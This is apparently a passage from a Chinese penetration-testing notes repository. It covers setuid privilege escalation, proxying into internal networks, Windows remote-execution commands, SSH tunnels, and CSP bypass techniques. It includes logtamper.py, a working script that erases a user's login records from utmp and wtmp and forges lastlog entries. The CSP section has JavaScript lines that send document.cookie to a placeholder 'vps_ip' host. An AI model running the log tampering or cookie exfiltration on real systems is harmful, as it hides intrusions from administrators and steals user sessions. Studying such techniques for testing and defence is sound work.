https://www.wangan.com/articles/1050 16 | -------------------------------------------------------------------------------- /penetration/PEN-Scanner.md: -------------------------------------------------------------------------------- 1 | # 扫描器专题 2 | -------------------------------------------------------------------------------- /penetration/PEN-Setuid-Linux.md: -------------------------------------------------------------------------------- 1 | # Linux setuid 提权 2 | 3 | ## 0x00 基础知识 4 | 5 | ### setuid是什么? 6 | 通常来说,Linux运行一个程序,是使用当前运行这个程序的用户权限,这当然是合理的。但是有一些程序比较特殊,比如我们常用的ping命令。 7 | 8 | ping需要发送ICMP报文,而这个操作需要发送Raw Socket。在Linux 2.2引入CAPABILITIES前,使用Raw Socket是需要root权限的(当然不是说引入CAPABILITIES就不需要权限了,而是可以通过其他方法解决,这个后说),所以你如果在一些老的系统里ls -al $(which ping),可以发现其权限是-rwsr-xr-x,其中有个s位,这就是suid: 9 | 10 | ``` 11 | ls -al /usr/bin/sudo 12 | -rwsr-xr-x 1 root root 149080 Jan 19 2021 /usr/bin/sudo 13 | ``` 14 | suid全称是Set owner User ID up on execution。这是Linux给可执行文件的一个属性,上述情况下,普通用户之所以也可以使用ping命令,原因就在我们给ping这个可执行文件设置了suid权限。 15 | 16 | 设置了s位的程序在运行时,其Effective UID将会设置为这个程序的所有者。比如,/usr/bin/sudo这个程序的所有者是0(root),它设置了s位,那么普通用户在运行ping时其Effective UID就是0,等同于拥有了root权限。 17 | 18 | 这里引入了一个新的概念Effective UID。Linux进程在运行时有三个UID: 19 | 20 | - Real UID 执行该进程的用户实际的UID 21 | - Effective UID 程序实际操作时生效的UID(比如写入文件时,系统会检查这个UID是否有权限) 22 | - Saved UID 在高权限用户降权后,保留的其原本UID(本文中不对这个UID进行深入探讨) 23 | - 24 | 通常情况下Effective UID和Real UID相等,所以普通用户不能写入只有UID=0号才可写的/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。 25 | 26 | ### setuid 提权条件 27 | 1. 文件所有者是root用户 28 | 2. 具备s标志位 29 | 3. 程序执行setuid(0)后执行代码 30 | 31 | 32 | 33 | ## 0x01 漏洞利用 34 | 35 | 36 | 37 | ### 检测setuid文件 38 | ``` 39 | find / -user root -perm -4000 -print 2>/dev/null 40 | ``` 41 | 42 | ### python 43 | 如果Python具备s标志位并且是root用户,真实环境几乎没有。 44 | 执行如下: 45 | ``` 46 | import os 47 | os.setuid(0) 48 | os.system('whoami') 49 | ``` 50 | 51 | 52 | [简谈setuid提权](https://www.freebuf.com/articles/web/272617.html) 其中包括一些常见的应用setuid提权方法。 53 | 54 | 55 | ## Ref 56 | 57 | - [谈一谈Linux与suid提权](https://www.leavesongs.com/PENETRATION/linux-suid-privilege-escalation.html) 58 | - [简谈setuid提权](https://www.freebuf.com/articles/web/272617.html) 59 | -------------------------------------------------------------------------------- /penetration/PEN-Tun2socks.md: -------------------------------------------------------------------------------- 1 | # Windows下socks客户端全局代理终极解决方案——tun2socks 2 | 3 | 4 | 需求: 通过socks server相关工具已经开启进入内网的socks5代理,在windows攻击机上想全局走socks5代理,那如何解决? 5 | 解决方案: 用tun2socks 启一个虚拟网卡,该网卡流量都走制定配置好的socks5服务,然后配置路由,全局或者部分ip段指定该网卡为网关。 6 | 7 | ### 0x01 准备 8 | 9 | 1. 要使用 tun2socks,需要创建一个虚拟网卡,首先下载 Tap-windows 并安装: 10 | 下载地址:http://build.openvpn.net/downloads/releases/tap-windows-9.22.1-I602.exe 11 | 2. 下载tun2socks工具 12 | 下载地址:https://github.com/eycorsican/go-tun2socks/releases/download/v1.11.2/tun2socks-windows-4.0-amd64.exe.zip 13 | >PS:采用推荐版本,最新版适配有问题 14 | ### 0x02 执行 15 | 16 | #### 运行tun2socks 17 | `tun2socks-windows-4.0-amd64.exe -tunAddr 10.0.0.2 -tunGw 10.0.0.1 -proxyType socks -proxyServer 127.0.0.1:1080 -dnsServer 8.8.8.8,8.8.4.4` 18 | 19 | >上面命令表示 TUN 接口(虚拟网卡)的 IP 为 10.0.0.2,网关为 10.0.0.1,使用 socks5 代理协议,代理服务器地址是 127.0.0.1:1080,虚拟网卡的 DNS 服务器设为 8.8.8.8,8.8.4.4;其中 127.0.0.1:1080 是一个运行在我路由器上的 socks5 服务器,你需要换成自己的 socks5 服务器。 20 | 21 | 22 | #### 添加路由 23 | 24 | `route add 172.16.9.0 MASK 255.255.255.0 10.0.0.1` 25 | > 访问172.16.9.0/24 都走tun虚拟网卡,即走socks5流量。 26 | 27 | `route -p add 172.16.9.0 MASK 255.255.255.0 10.0.0.1` 28 | > 添加一条永久路由条目(-p 表示永久路由,重启后不丢失) 29 | 30 | #### 全局代理 31 | `route change 0.0.0.0 MASK 0.0.0.0 10.0.0.1 metric 6` 32 | >更改默认路由 33 | `route add x.x.x.x 192.168.101.1 metric 5` 34 | >还要加一条路由让去我们代理服务器的流量发到原来的网关(192.168.101.1) 35 | 36 | ## Ref 37 | - https://tachyondevel.medium.com/%E6%95%99%E7%A8%8B-%E5%9C%A8-windows-%E4%B8%8A%E4%BD%BF%E7%94%A8-tun2socks-%E8%BF%9B%E8%A1%8C%E5%85%A8%E5%B1%80%E4%BB%A3%E7%90%86-aa51869dd0d 38 | -------------------------------------------------------------------------------- /penetration/PEN-Webshell-Question.md: -------------------------------------------------------------------------------- 1 | # Webshell命令不执行问题处理 2 | 3 | ## Windows平台 4 | 5 | ### 返回ret=1 6 | 利用`aslistcmd`和`ascmd`切换命令执行程序 7 | ``` 8 | ret=-1> aslistcmd 9 | C:/Windows/System32/cmd.exe OK 10 | C:/Windows/SysWOW64/cmd.exe OK 11 | C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe OK 12 | C:/Windows/SysWOW64/WindowsPowerShell/v1.0/powershell.exe OK 13 | C:/Windows/System32/WindowsPowerShell/v2.0/powershell.exe FAIL 14 | C:/Windows/SysWOW64/WindowsPowerShell/v2.0/powershell.exe FAIL 15 | C:/Windows/System32/WindowsPowerShell/v3.0/powershell.exe FAIL 16 | C:/Windows/SysWOW64/WindowsPowerShell/v3.0/powershell.exe FAIL 17 | C:/Windows/System32/WindowsPowerShell/v4.0/powershell.exe FAIL 18 | C:/Windows/SysWOW64/WindowsPowerShell/v4.0/powershell.exe FAIL 19 | ret=-1> ascmd C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe 20 | Will execute the command with C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe. 21 | ``` 22 | -------------------------------------------------------------------------------- /penetration/PEN-WiFi-Tool.md: -------------------------------------------------------------------------------- 1 | # 近源渗透测试工具 2 | 3 | ## 随身WiFi改造 4 | 准备:高通410芯片板子 5 | 教程: 6 | - [4g 随身 Wi-Fi 刷 openwrt 变成软路由](https://qust.me/post/msm8916/) 7 | - [随身wifi打造近源渗透神器](http://ylcao.top/2022/08/29/%E9%9A%8F%E8%BA%ABwifi%E6%89%93%E9%80%A0%E8%BF%91%E6%BA%90%E6%B8%97%E9%80%8F%E7%A5%9E%E5%99%A8/) 8 | - [Zy143L的blog](https://momoe.ml/) 研究了很多高通410芯片的内容 9 | -------------------------------------------------------------------------------- /penetration/PEN-WinCmd.md: -------------------------------------------------------------------------------- 1 | # 渗透测试—— Windows 系统常用命令 2 | 3 | ## 0x01 信息收集 4 | ### 1.1 本机信息 5 | - 查看系统信息 : `systeminfo` 6 | - 查看进程 : `tasklist` 7 | - 查看当前工作目录 : `chdir` 8 | - 查看网络会话 : `netsat -ano` 9 | - 查看用户: `net user` 10 | - 查看管理员:`net localgroup administrators ` 11 | - 查看abc用户信息:`net user abc` 12 | - 查看文件共享:`net use` 13 | - 查看远程桌面连接历史: `cmdkey /l` 14 | - 查看杀毒软件 : `wmic /namespace:\\root\securitycenter2 path antivirusproduct GET displayName,productState, pathToSignedProductExe` 15 | - 查询登录用户:`query user` 16 | ### 1.2 域信息 17 | > 有时候本地用户无法查到相关信息,可以通过runas切换到域用户进行查询。 18 | 19 | - 查看域:`net view /domain` 20 | - 查看abc域中的主机:`net view /domain:abc` 21 | - 查看域用户 :`net user /domain` 22 | - 查看域管理员 : `net group "domain admin" /domain` 23 | - 查看本机域管理员 :`net localgroup administrators /domain ` 24 | - 查看域控主机 :`dsquery server` or `net group “domain controllers” /domain` 25 | ## 0x02 远程文件操作 26 | ### net use 27 | 前置条件:目标主机开启IPC$共享(端口:445) 28 | 目标主机:192.168.0.1 用户名:abc 密码:password 29 | - 建立空连接: `net use \\192.168.0.1\ipc$ "" /user:"" ` 30 | - 建立非空连接: `net use \\192.168.0.1\ipc$ "password" /user:"abc" ` 31 | - 映射默认共享: `net use z: \\192.168.0.1\c$ "password" /user:"abc"` 32 | - 删除一个ipc$连接: `net use \\192.168.0.1\ipc$ /del` 33 | - 删除映射的z盘: `net use z: /del ` 34 | 35 | ### net share 36 | 本机开启共享: 37 | ``` 38 | net share c$=c: 39 | net share d$=d: 40 | net share ipc$ 41 | net share admin$ 42 | ``` 43 | 44 | ### 文件操作 45 | - 压缩文件(默认导出压缩文件最后一个字符改为`_`): `makecab file` 46 | - 解压文件: `expand src tar.zip` 47 | 48 | ## 0x03 远程命令执行 49 | ### wmic 50 | 前置条件:目标开启 "Windows Management Instrumentation" 服务(端口:135) 51 | 目标主机:192.168.0.1 用户名:abc 密码:password 52 | - 执行命令 : `wmic /node:192.168.0.1 /user:abc /password:password PROCESS call create "cmd /c ver > c:\\test.txt"` 53 | 54 | ### psexec 55 | >一般配合net use 将输出导出到文件读取,完成回显的任务 56 | 前置条件:目标开启 ADMIN$ 共享(端口:445) 57 | 工具:https://docs.microsoft.com/zh-cn/sysinternals/downloads/pstools 58 | 目标主机:192.168.0.1 用户名:abc 密码:password 59 | - 执行命令(交互式shell) : `psexec \\192.168.0.1 -u abc -p password cmd` 60 | 61 | ### at 62 | 前置条件:目标启动 Task Scheduler 服务 63 | 目标主机:192.168.0.1 用户名:abc 密码:password 64 | 65 | - 添加计划任务在远程系统上执行命令: `at \\192.168.0.1 23:00 cmd.exe /c "ver > c:\test.txt"` 66 | - 查看 at 任务列表: `at \\192.168.0.1` 67 | - 删除 at 计划任务: `at \\192.168.17.138 1 /delete` 68 | 69 | ### winrm 70 | 前置条件:目标启动winrm服务(5985,5986端口) 71 | 目标启动快速启动winrm服务: 72 | ``` 73 | winrm quickconfig -q 74 | winrm set winrm/config/Client @{TrustedHosts="*"} 75 | ``` 76 | 目标主机:192.168.0.1 用户名:abc 密码:password 77 | 执行命令: `winrs -r:http://192.168.0.1:5985 -u:abc -p:password "whoami /all"` 78 | 79 | 80 | ## 0x04 权限切换 81 | 82 | - 通过abc用户权限启动cmd: 83 | `runas /user:abc cmd` 84 | 85 | 86 | ## ref 87 | - https://chen1sheng.github.io/2020/11/30/%E6%B8%97%E9%80%8F/windows/Windows%E5%9F%9F%E6%B8%97%E9%80%8F%E5%B8%B8%E8%A7%81%E5%91%BD%E4%BB%A4/ 88 | - https://www.cnblogs.com/LyShark/p/11344288.html 89 | - https://cloud.tencent.com/developer/article/1180419 90 | -------------------------------------------------------------------------------- /penetration/PEN-ssh.md: -------------------------------------------------------------------------------- 1 | # SSH 端口转发和sock5代理 2 | 3 | ## SSH 端口转发 4 | 5 | ### 本地转发 6 | 本地访问 127.0.0.1:8888 转发到 1.1.1.1:80 7 | ``` 8 | ssh -CfNg -L 80:127.0.0.1:8888 user@1.1.1.1 9 | ``` 10 | ### 远程转发 11 | 12 | 远程访问 1.1.1.1:80 转发到 127.0.0.1:8888 13 | ``` 14 | ssh -CfNg -R 80:127.0.0.1:8888 user@1.1.1.1 15 | ``` 16 | 17 | ## SSH sock5代理 18 | 19 | 在在1.1.1.1开启sock5服务,映射到本地 0.0.0.0:1080 20 | ``` 21 | ssh -qTfnN -D 0.0.0.0:1080 root@1.1.1.1 22 | ``` 23 | > ssh相关日志不会记录 24 | -------------------------------------------------------------------------------- /penetration/Webshell-Bypass.md: -------------------------------------------------------------------------------- 1 | # Webshell免杀&WAF流量逃逸 2 | 3 | > 双Base64编码器 4 | - [对蚁剑的相关改造及分析](https://www.crisprx.top/archives/382) 5 | -------------------------------------------------------------------------------- /penetration/logtamper.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | # -*- coding:utf-8 -*- 3 | 4 | import os, struct, sys 5 | from pwd import getpwnam 6 | from time import strptime, mktime 7 | from optparse import OptionParser 8 | 9 | UTMPFILE = "/var/run/utmp" 10 | WTMPFILE = "/var/log/wtmp" 11 | LASTLOGFILE = "/var/log/lastlog" 12 | 13 | LAST_STRUCT = 'I32s256s' 14 | LAST_STRUCT_SIZE = struct.calcsize(LAST_STRUCT) 15 | 16 | XTMP_STRUCT = ' ' 17 | XTMP_STRUCT_SIZE = struct.calcsize(XTMP_STRUCT) 18 | 19 | 20 | def getXtmp(filename, username, hostname): 21 | xtmp = '' 22 | try: 23 | fp = open(filename, 'rb') 24 | while True: 25 | bytes = fp.read(XTMP_STRUCT_SIZE) 26 | if not bytes: 27 | break 28 | 29 | data = struct.unpack(XTMP_STRUCT, bytes) 30 | record = [(lambda s: str(s).split("\0", 1)[0])(i) for i in data] 31 | if (record[4] == username and record[5] == hostname): 32 | continue 33 | xtmp += bytes 34 | except: 35 | showMessage('Cannot open file: %s' % filename) 36 | finally: 37 | fp.close() 38 | return xtmp 39 | 40 | 41 | def modifyLast(filename, username, hostname, ttyname, strtime): 42 | try: 43 | p = getpwnam(username) 44 | except: 45 | showMessage('No such user.') 46 | 47 | timestamp = 0 48 | try: 49 | str2time = strptime(strtime, '%Y:%m:%d:%H:%M:%S') 50 | timestamp = int(mktime(str2time)) 51 | except: 52 | showMessage('Time format err.') 53 | 54 | data = struct.pack(LAST_STRUCT, timestamp, ttyname, hostname) 55 | try: 56 | fp = open(filename, 'wb') 57 | fp.seek(LAST_STRUCT_SIZE * p.pw_uid) 58 | fp.write(data) 59 | except: 60 | showMessage('Cannot open file: %s' % filename) 61 | finally: 62 | fp.close() 63 | return True 64 | 65 | 66 | def showMessage(msg): 67 | print msg 68 | exit(-1) 69 | 70 | 71 | def saveFile(filename, contents): 72 | try: 73 | fp = open(filename, 'w+b') 74 | fp.write(contents) 75 | except IOError as e: 76 | showMessage(e) 77 | finally: 78 | fp.close() 79 | 80 | 81 | if __name__ == '__main__': 82 | usage = 'usage: logtamper.py -m 2 -u root -i 192.168.0.188\n \ 83 | logtamper.py -m 3 -u root -i 192.168.0.188 -t tty1 -d 2015:05:28:10:11:12' 84 | parser = OptionParser(usage=usage) 85 | parser.add_option('-m', '--mode', dest='MODE', default='1' , help='1: utmp, 2: wtmp, 3: lastlog [default: 1]') 86 | parser.add_option('-t', '--ttyname', dest='TTYNAME') 87 | parser.add_option('-f', '--filename', dest='FILENAME') 88 | parser.add_option('-u', '--username', dest='USERNAME') 89 | parser.add_option('-i', '--hostname', dest='HOSTNAME') 90 | parser.add_option('-d', '--dateline', dest='DATELINE') 91 | (options, args) = parser.parse_args() 92 | 93 | if len(args) < 3: 94 | if options.MODE == '1': 95 | if options.USERNAME == None or options.HOSTNAME == None: 96 | showMessage('+[Warning]: Incorrect parameter.\n') 97 | 98 | if options.FILENAME == None: 99 | options.FILENAME = UTMPFILE 100 | 101 | # tamper 102 | newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) 103 | saveFile(options.FILENAME, newData) 104 | 105 | elif options.MODE == '2': 106 | if options.USERNAME == None or options.HOSTNAME == None: 107 | showMessage('+[Warning]: Incorrect parameter.\n') 108 | 109 | if options.FILENAME == None: 110 | options.FILENAME = WTMPFILE 111 | 112 | # tamper 113 | newData = getXtmp(options.FILENAME, options.USERNAME, options.HOSTNAME) 114 | saveFile(options.FILENAME, newData) 115 | 116 | elif options.MODE == '3': 117 | if options.USERNAME == None or options.HOSTNAME == None or options.TTYNAME == None or options.DATELINE == None: 118 | showMessage('+[Warning]: Incorrect parameter.\n') 119 | 120 | if options.FILENAME == None: 121 | options.FILENAME = LASTLOGFILE 122 | 123 | # tamper 124 | modifyLast(options.FILENAME, options.USERNAME, options.HOSTNAME, options.TTYNAME , options.DATELINE) 125 | 126 | else: 127 | parser.print_help() 128 | -------------------------------------------------------------------------------- /vul/VUL-Backend.md: -------------------------------------------------------------------------------- 1 | # 错综复杂的后端逻辑及安全 2 | 3 | ## 0x00 前言 4 | ### web vs binary 5 | Web安全不同于二进制安全,更多在于经验的积累和知识体系的广度,应为在上层应用架构中,让web看似入门简单,因为复杂的架构和技术栈,其实精通很有难度。而并非像二进制基础知识具有很好的通用性和拓展性。 6 | 对比二进制安全研究人员来说,逆向是binary的核心,其实web手也是。通过黑盒的测试来检测漏洞,通过获取的信息来判断后端的架构。 7 | 8 | >其实这篇有很多想说的内容,但又一言难尽,等以后有机会好好整理一下思路。 9 | 10 | ## 0x01 分层(纵向) 11 | 业务服务主要在计算机网络的传输层(TCP、UDP),http应用服务是web安全的重要组成部分,但不是全部,各类的应用服务(数据库、远程桌面等)不能忽略。 12 | 13 | ![](../images/web-fc.png) 14 | ### 常见的应用服务 15 | 16 | - 网站服务 (http[80],https[443]...) 17 | - 远程控制 (ssh[22],telnet[23],rdp[3389]...) 18 | - 数据库服务(mysql[3306],mssql[1433]...) 19 | - 内存数据库服务 (redis[6379],memcache[11211]...) 20 | - 文件管理服务(ftp[21],smb[193,445]...) 21 | - 邮件服务(imap[143],pop3[110]...) 22 | - 进程/设备间通信服务(RPC,MQTT(1883)...) 23 | 24 | >Ps:不要忽略udp服务 25 | 26 | 27 | ### web应用分层 28 | 新增了容器和虚拟化 29 | #---用户侧---# 30 | - 前端(html,JavaScript等) 31 | - Web应用(CMS,OA,ERP等) 32 | - MVC框架&组件(Thinkphp,FCKeditor等) 33 | - 运行语言(PHP,.NET,Java Web等) 34 | - Web中间件(Apache,Nginx,Tomcat等) 35 | - 数据库系统(Mysql,Mssql等) 36 | - 容器(Docker等)操作系统(Linux,Windows等) 37 | - 虚拟层(qemu,VM等) 38 | #---硬件侧---# 39 | 40 | 41 | ## 0x02 架构(横向) 42 | 通过[千万级并发下,淘宝服务端架构如何演进?](https://developer.51cto.com/art/201906/597895.htm)就可以知道,web应用的一个演化过程。对于用户侧呈现的web页面,其实背后可能是单个服务器支撑,也可能是复杂的架构系统。 43 | 44 | 本节主要站在攻击者角度来说,后端架构对于渗透测试的影响。 45 | 46 | ### 单机架构 47 | 对于攻击者而言,web服务和数据库系统都处于一台服务器中,结构简单。 48 | 不同攻击面漏洞可以相互影响,例如:数据库写操作可以写入web执行路径中进而getshell。 49 | ![](../images/web-arch-1.png) 50 | 51 | ### 站库分离 52 | 网站应用服务和数据库不在同一个服务器上。 53 | 其实这是对于攻击者来说,一个架构阶段,作为开发者可能这是部署的方式而已。因为作为web入门漏洞SQL注入来说,是否是站库分离就很关键了。 54 | ![](../images/web-arch-2.png) 55 | ### CDN 56 | >CDN的全称是Content Delivery Network,即内容分发网络。其基本思路是尽可能避开互联网上有可能影响数据传输速度和稳定性的瓶颈和环节,使内容传输得更快、更稳定。通过在网络各处放置节点服务器所构成的在现有的互联网基础之上的一层智能虚拟网络,CDN系统能够实时地根据网络流量和各节点的连接、负载状况以及到用户的距离和响应时间等综合信息将用户的请求重新导向离用户最近的服务节点上。其目的是使用户可就近取得所需内容,解决 Internet网络拥挤的状况,提高用户访问网站的响应速度。 57 | 58 | CDN主要用于网站动、静态资源的访问加速,也用于DDoS的安全防护。 59 | 对于攻击者来说,就需要在众多CDN节点中找到真实的后端逻辑服务IP,进行攻击测试。 60 | ![](../images/web-arch-3.png) 61 | ### 负载均衡 62 | >负载均衡建立在现有网络结构之上,它提供了一种廉价有效透明的方法扩展网络设备和服务器的带宽、增加吞吐量、加强网络数据处理能力、提高网络的灵活性和可用性。 63 | 64 | ![](../images/web-arch-4.png) 65 | 66 | ### 应用网关 67 | 随着应用逻辑的复杂度提成,需要统一入口管理,使得应用网关普遍使用。其承载了负载均衡,反向代理,API映射等诸多功能。 68 | 对于攻击者来说,这就增加了新的攻击面和防护策略,可以攻击网关应用服务以及利用网关架构造成的前后端不一致的问题(请求走私),但同时网关各类防护策略也需要攻击进行绕过。 69 | 70 | ### 以云平台承载系统 71 | 对于攻击者而言,系统复杂了,攻击面也细化成不同方向。 72 | ![](https://s3.51cto.com/oss/201906/14/97b88fa7fb4f64aecd4701b12bef38b6.jpg-wh_600x-s_2360315611.jpg) 73 | 74 | 75 | ## 0x03 分类(漏洞) 76 | 77 | ### Top 10 78 | 近些年漏洞的威胁分类也发生了很大变化,王道SQL注入也慢慢淡出历史的舞台,最新[owasp top 10](https://owasp.org/www-project-top-ten/)2021版,分类和排名都变化了很多。 79 | ![](https://owasp.org/www-project-top-ten/assets/images/mapping.png) 80 | ### 常见分类 81 | 注入类的漏洞,都是因为信任了输入参数,进而利用各类表达式语言进行利用。 82 | 83 | | 前/后端 | 类别 | 漏洞 | 目标 | 84 | | ------- | ---------- | -------- | ---------- | 85 | | 前端 | 跨域 | XSS | 浏览器 | 86 | | | 跨域 | CSRF | Request | 87 | | 后端 | 注入 | SSTI | MVC | 88 | | | 注入 | SQL注入 | 数据库 | 89 | | | 注入 | 命令注入 | 操作系统 | 90 | | | 不安全配置 | XXE | XML | 91 | | | 不安全设计 | 文件操作 | 文件系统 | 92 | | | 认证缺陷 | 请求走私 | Request | 93 | | | 反序列化 | 反序列化 | 序列化对象 | 94 | | | SSRF | SSRF | Request | 95 | 96 | 97 | 98 | ## 0x04 利用效果 99 | 100 | 1. 信息泄露 101 | 2. 业务功能(越权) 102 | 未授权、提升权限或横向越权来操作已有的功能 103 | 3. 业务干扰 104 | 影响已有的业务功能,eg:零元购 105 | 4. 文件操作(R/W) 106 | 5. 代码执行(Code) 107 | 6. 命令执行 (系统) 108 | 109 | ## 0x05 输入&输出 110 | 对于一个黑盒系统,最关键的就是输入与输出。 111 | Input->|blackbox|->Output 112 | 对于白盒代码审计也是同等逻辑。 113 | Input->|function|->Output 114 | 115 | 116 | ## Ref 117 | 118 | - https://developer.51cto.com/art/201906/597895.htm 119 | -------------------------------------------------------------------------------- /vul/VUL-CrossDomain.md: -------------------------------------------------------------------------------- 1 | # 前端安全-跨域 2 | [toc] 3 | 4 | ## 0x01 同源策略 5 | > 同源策略(英语:Same-origin policy)是指在Web浏览器中,允许某个网页脚本访问另一个网页的数据,但前提是这两个网页必须有相同的URI、主机名和端口号,一旦两个网站满足上述条件,这两个网站就被认定为具有相同来源。此策略可防止某个网页上的恶意脚本通过该页面的文档对象模型访问另一网页上的敏感数据。 6 | 7 | 定义:只有从当前页面的源获取的脚本,才能修改当前页面的元素或读取当前页面的数据。 8 | 目的:浏览器需要限制JS的能力 9 | * 通过同源策略给JS脚本提供权限分离 10 | * 浏览器将页面元素(布局,Cookie,事件等)和源(origin)关联在一起 11 | 12 | 同源的定义:HTML SOP中,源的定义:协议 + 域名 + 端口 (schema + domain + port) 13 | 具体体现在两个方面: 14 | 15 | * 无法通过js获取其它非同源网站的DOM对象。 16 | 如果一个页面是由另一个页面通过JS的打开的,如window.open()。那么window.open()函数返回的对象是JS可以操作的。可见这里用google打开了baidu,虽然在google页面的中可以拿到baidu页面的对象,但是因为同源策略无法访问其document对象(DOM对象),也无法访问其中的cookie。 17 | ![8bb84267751c4a3c0d43293a093c91ad.png](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/cd_1.png) 18 | * 向不同源的站点发送请求时,虽然成功发包,但是无法读出数据,目的是防止泄露其HTTP响应头的信息,可能会泄露cookie。 19 | 通过JS中的XMLHttpRequest对象(AJAX),发起向不同源的站点发送请求时,虽然成功发包,但是无法读出数据,目的是防止泄露其HTTP响应头的信息,可能会泄露cookie。不过任何标签通过src均可发生跨域请求,并且成功接收,原因是JS也无法获得其内容,所以一般来说是安全的,不需要限制(CSP机制可以限制)。 20 | ![01a77e869291212cc99bce10b03da281.png](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/cd_2.png) 21 | ## 0x02 内容安全策略( CSP ) 22 | 23 | ### Introduction 24 | 内容安全策略   (CSP) 是一个额外的安全层,用于检测并削弱某些特定类型的攻击,包括跨站脚本 (XSS) 和数据注入攻击等。 25 | CSP 的实质就是白名单制度,开发者明确告诉客户端,哪些外部资源可以加载和执行,等同于提供白名单。它的实现和执行全部由浏览器完成,开发者只需提供配置。 26 | 配置CSP的条件: 27 | * 你需要配置你的网络服务器返回  Content-Security-Policy  HTTP头部 ( 有时你会看到一些关于X-Content-Security-Policy头部的提法, 那是旧版本,你无须再如此指定它)。 28 | *    元素也可以被用来配置该策略。 29 | Eg. 30 | `` 31 | 32 | 可以自定义策略: 33 | ``` 34 | Content-Security-Policy: policy 35 | ``` 36 | Eg.一个网站管理者允许内容来自信任的域名及其子域名 (域名不必须与CSP设置所在的域名相同) 37 | ``` 38 | Content-Security-Policy: default-src 'self' *.trusted.com 39 | ``` 40 | 关键词: 41 | 42 | * default-src 43 | * img-src 44 | * script-src 45 | * frame-src:控制内嵌框架包含的外部页面连接:iframe or a frame。 46 | * inline script和eval类型函数(包括eval、setInterval、setTimeout和new Function())是不被执行的。另外data URIs也是默认不允许使用的,XBL,只允许通过chrome:和resource:形式uri请求的XBL,其它的比如在CSS中通过-moz-binding来指定的XBL则不允许被执行。 47 | 48 | ### 漏洞检测 49 | CSP online检测工具:https://csp-evaluator.withgoogle.com/ 50 | ### bypass 51 | 52 | #### location.href 53 | 54 | ``` 55 | location.href = "vps_ip:xxxx?"+document.cookie 56 | ``` 57 | 58 | 利用条件: 59 | 可以执行任意JS脚本,但是由于CSP无法数据带外 60 | 61 | #### link 62 | 导致的绕过这个方法其实比较老,去年我在我机器上试的时候还行,现在就不行了 63 | 因为这个标签当时还没有被CSP约束,当然现在浏览器大部分都约束了此标签,但是老浏览器应该还是可行的。 64 | ``` 65 | 66 | 67 | 68 | 69 | ``` 70 | ``` 71 | var link = document.createElement("link"); 72 | link.setAttribute("rel", "prefetch"); 73 | link.setAttribute("href", "//vps_ip/?" + document.cookie); 74 | document.head.appendChild(link); 75 | ``` 76 | 利用条件: 77 | 可以执行任意JS脚本,但是由于CSP无法数据带外 78 | 79 | #### Iframe 80 | 当一个同源站点,同时存在两个页面,其中一个有CSP保护的A页面,另一个没有CSP保护B页面,那么如果B页面存在XSS漏洞,我们可以直接在B页面新建iframe用javascript直接操作A页面的dom,可以说A页面的CSP防护完全失效 81 | A页面: 82 | ``` 83 | 84 | 85 |

flag{0xffff}

86 | ``` 87 | B页面: 88 | 89 | ``` 90 | 91 | 92 | 93 | 99 | 100 | ``` 101 | 利用条件: 102 | 103 | * 一个同源站点内存在两个页面,一个页面存在CSP保护,另一个页面没有CSP保护且存在XSS漏洞 104 | * 我们需要的数据在存在CSP保护的页面 105 | #### 用CDN来绕过 106 | CDN上的JS框架,如果CDN上存在一些低版本的框架,就可能存在绕过CSP的风险。 107 | [A Wormable XSS on HackMD!](https://paper.seebug.org/855/),利用CDN中低版本的angular js模板注入来绕过CSP。 108 | 109 | 利用条件: 110 | CDN服务商存在某些低版本的js库。 111 | 此CDN服务商在CSP白名单中。 112 | 113 | #### 站点可控静态资源绕过 114 | 115 | `www.google.analytics.com`中提供了自定义javascript的功能(google会封装自定义的js,所以还需要unsafe-eval),于是可以绕过CSP 116 | ``` 117 | 118 | 119 | ``` 120 | 121 | 利用条件: 122 | 123 | * 站点存在可控静态资源 124 | * 站点在CSP白名单中 125 | 126 | #### 站点可控JSONP绕过 127 | 128 | 大部分站点的jsonp是完全可控的,只不过有些站点会让jsonp不返回html类型防止直接的反射型XSS,但是如果将url插入到script标签中,除非设置 x-content-type-options头,否者尽管返回类型不一致,浏览器依旧会当成js进行解析 129 | 以ins'hack 2019/的bypasses-everywhere这道题为例,题目中的csp设置了www.google.com 130 | 131 | ``` 132 | 133 | 134 | 135 | ``` 136 | ![8b1b8d45b6a6e2597e4f88d645c71853.png](https://raw.githubusercontent.com/ReAbout/web-exp/master/images/cd_3.png) 137 | 138 | 利用条件: 139 | 站点存在可控Jsonp站点 140 | 在CSP白名单中 141 | 142 | #### Base-uri绕过 143 | 144 | #### 不完整script标签绕过nonce 145 | 146 | #### object-src绕过(PDFXSS) 147 | #### SVG绕过 148 | #### 不完整的资源标签获取资源 149 | #### CSS选择器获取内容 150 | #### CRLF绕过 151 | 152 | Ref[][内容安全策略( CSP )](https://developer.mozilla.org/zh-CN/docs/Web/HTTP/CSP) 153 | Ref[][我的CSP绕过思路及总结](https://xz.aliyun.com/t/5084) 154 | ## 0x03 HTTP访问控制(CORS) 155 | >跨源资源共享(CORS,或通俗地译为跨域资源共享)是一种基于 HTTP 头的机制,该机制通过允许服务器标示除了它自己以外的其他源(域、协议或端口),使得浏览器允许这些源访问加载自己的资源。跨源资源共享还通过一种机制来检查服务器是否会允许要发送的真实请求,该机制通过浏览器发起一个到服务器托管的跨源资源的“预检”请求。在预检中,浏览器发送的头中标示有 HTTP 方法和真实请求中会用到的头。 156 | 157 | - CORS和CSP的区别,实质都是跨域,CORS是浏览器允许获取的网站凭证或数据,而CSP是通过浏览器保护你所访问的内容的安全。 158 | - 这些跨域请求与浏览器发出的其他跨域请求并无二致。如果服务器未返回正确的响应首部,则请求方不会收到任何数据。 159 | 160 | Eg. 161 | 比如说,假如站点 http://foo.example 的网页应用想要访问 http://bar.other 的资源。http://foo.example 的网页中可能包含类似于下面的 JavaScript 代码: 162 | 163 | ``` 164 | var invocation = new XMLHttpRequest(); 165 | var url = 'http://bar.other/resources/public-data/'; 166 | 167 | function callOtherDomain() { 168 | if(invocation) { 169 | invocation.open('GET', url, true); 170 | invocation.onreadystatechange = handler; 171 | invocation.send(); 172 | } 173 | } 174 | ``` 175 | 客户端和服务器之间使用 CORS 首部字段来处理跨域权限: 176 | 分别检视请求报文和响应报文: 177 | Request 178 | ``` 179 | 